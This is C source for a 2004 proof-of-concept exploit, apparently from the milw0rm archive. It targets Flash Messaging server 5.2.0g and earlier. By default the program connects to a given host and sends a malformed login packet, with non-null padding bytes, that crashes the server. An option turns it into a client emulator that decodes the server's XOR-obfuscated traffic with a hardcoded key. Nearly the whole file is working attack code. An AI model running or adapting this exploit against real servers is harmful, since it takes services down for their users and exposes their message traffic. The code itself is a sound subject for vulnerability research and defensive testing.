/* by Luigi Auriemma */ #include #include #include /* Show_dump 0.1 Copyright 2004 Luigi Auriemma This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA http://www.gnu.org/licenses/gpl.txt function to show the hex dump of a buffer Usage: to show the hex dump on the screen: show_dump(buffer, buffer_length, stdout); to write the hex dump in a file or other streams: show_dump(buffer, buffer_length, fd); (if you know C you know what FILE *stream means 8-) */ void show_dump(unsigned char *buff, unsigned long buffsz, FILE *stream) { const char *hex = "0123456789abcdef"; unsigned char buffout[68], *pout, *p1, *p2, i, rest; p1 = buff; p2 = buff; while(buffsz) { pout = buffout; if(buffsz < 16) rest = buffsz; else rest = 16; for(i = 0; i < rest; i++, p1++) { *pout++ = hex[*p1 >> 4]; *pout++ = hex[*p1 & 0xf]; *pout++ = 0x20; } for(i = pout - buffout; i < 50; i++, pout++) *pout = 0x20; for(i = 0; i < rest; i++, p2++, pout++) { if(*p2 >= 0x20) *pout = *p2; else *pout = 0x2e; } *pout++ = 0x0a; *pout = 0x00; fputs(buffout, stream); buffsz -= rest; } } #ifdef WIN32 #include /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #else #include #include #include #include #include #include #endif #define VER "0.1" #define PORT 645 #define BUFFSZ 8192 #define TIMEOUT 3 #define LOGIN "\xd1" "3" \ "\xd1" "1" \ "\xd1" "10/07/2004" /* date */ \ "\xd1" "00.00.00" /* time (hh.mm.ss) */ \ "\xd1" \ "\xd1" \ "\xd1" "%s" /* nickname */ \ "\xd1" \ "\xd1" "000000" \ "\xd1" int timeout(int sock); void flashmsg_algo(u_char *data, int len); u_long resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, i, len, nonull = 0, chr = 0x69; /* the normal chr must be 0x00, and if it is different */ /* causes the immediate crash of the server */ u_short port = PORT; u_char buff[BUFFSZ], pck[BUFFSZ >> 1], *p, *nickname = "crash"; setbuf(stdout, NULL); fputs("\n" "Flash Messaging <= 5.2.0g (rev 1.1.2) server crash and decoder "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s [options] \n" "\n" "Options:\n" "-p PORT specify the server port (default %d)\n" "-s NICK this tool will act as a client emulator and will show any decoded\n" " message or command sent by the server to you.\n" " You must also specify the nickname you wanna use\n" " By default this tool is a proof-of-concept ables to crash the server\n" "-n use this option to see any server data in a more comprehensible text\n" " format. By default any data block is showed in hexadecimal mode\n" "\n", argv[0], PORT); exit(1); } argc--; for(i = 1; i < argc; i++) { switch(argv[i][1]) { case 'p': port = atoi(argv[++i]); break; case 's': { chr = 0x00; nickname = argv[++i]; } break; case 'n': nonull = 1; break; default: { printf("\nError: wrong command-line argument (%s)\n\n", argv[i]); exit(1); } } } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif peer.sin_addr.s_addr = resolv(argv[argc]); peer.sin_port = htons(port); peer.sin_family = AF_INET; sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); printf("- target %s:%hu\n", inet_ntoa(peer.sin_addr), port); if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); fputs("- prepare login data\n", stdout); len = snprintf( pck, sizeof(pck) - 1, LOGIN, nickname); if((len < 0) || (len > sizeof(pck))) { fputs("\nError: the nickname you have inserted is longer than my buffer\n\n", stdout); exit(1); } p = buff; for(i = 0; i < len; i++) { *p++ = pck[i]; *p++ = chr; } len <<= 1; flashmsg_algo(buff, len); fputs("- send login data\n", stdout); if(send(sd, buff, len, 0) < 0) std_err(); if(chr) { fputs("- check server\n", stdout); if((timeout(sd) < 0) || ((len = recv(sd, buff, BUFFSZ, 0)) <= 0)) { fputs("\nServer IS vulnerable!!!\n\n", stdout); } else { fputs("\nServer doesn't seem vulnerable, check its decoded reply:\n", stdout); show_dump(buff, len, stdout); } } else { for(;;) { len = recv(sd, buff, BUFFSZ, 0); if(len < 0) std_err(); if(!len) break; flashmsg_algo(buff, len); if(nonull) { p = buff; for(i = 0; i < len; i += 2, p++) { *p = buff[i]; if(*p == 0xd1) *p = '\n'; // 0xd1 = delimiter } *p = 0x00; printf("\n--------------------\n%s", buff); } else { fputc('\n', stdout); show_dump(buff, len, stdout); } } } close(sd); return(0); } void flashmsg_algo(u_char *data, int len) { int i; const static u_char encdata[] = "ScratchIt" "YouFool"; for(i = 0; i < len; i++) { *data++ ^= encdata[i & 15] - 38; *data++ ^= 38; } } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_long resolv(char *host) { struct hostent *hp; u_long host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolve hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2004-03-02]